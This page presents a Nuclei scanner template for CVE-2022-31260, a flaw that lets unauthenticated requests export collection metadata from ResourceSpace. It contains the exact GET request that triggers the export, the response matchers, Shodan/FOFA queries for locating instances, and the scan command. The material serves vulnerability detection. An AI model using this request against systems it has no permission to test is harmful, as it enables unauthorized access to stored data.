ResourceSpace - Metadata Export

ID: CVE-2022-31260

Severity: medium

Author: ritikchaddha

Tags: cve,cve2022,resourcespace,misconfig

Description

In Montala ResourceSpace through 9.8 before r19636, csv_export_results_metadata.php allows attackers to export collection metadata via a non-NULL k value.

YAML Source

id: CVE-2022-31260

info:
  name: ResourceSpace - Metadata Export
  author: ritikchaddha
  severity: medium
  description: |
    In Montala ResourceSpace through 9.8 before r19636, csv_export_results_metadata.php allows attackers to export collection metadata via a non-NULL k value.
  impact: |
    Successful exploitation could lead to unauthorized access to sensitive metadata.
  remediation: |
    Apply the vendor-supplied patch or upgrade to the latest version to mitigate CVE-2022-31260.
  reference:
    - https://github.com/grymer/CVE/blob/master/CVE-2022-31260.md
    - https://nvd.nist.gov/vuln/detail/CVE-2022-31260
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2022-31260
    cwe-id: CWE-306
    epss-score: 0.00087
    epss-percentile: 0.35924
    cpe: cpe:2.3:a:montala:resourcespace:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: montala
    product: resourcespace
    shodan-query: title:"ResourceSpace"
    fofa-query: title="ResourceSpace"
  tags: cve,cve2022,resourcespace,misconfig

http:
  - raw:
      - |
        GET /pages/csv_export_results_metadata.php?k=zulu&personaldata=0&allavailable=true&submit=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_any(body, "CSV-Export -", "pagename=\"csv_export_results_metadata")'
          - 'status_code == 200'
        condition: and
# digest: 4b0a0048304602210081fdce83f9699adae0acb29813a32bf9ea58c70f643a7378bc82aa898f75da1b022100d382b82f7aeface438bdf920c74253768c09729e6c0d6fd7912ad049b2dfc512:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-31260.yaml"

View on Github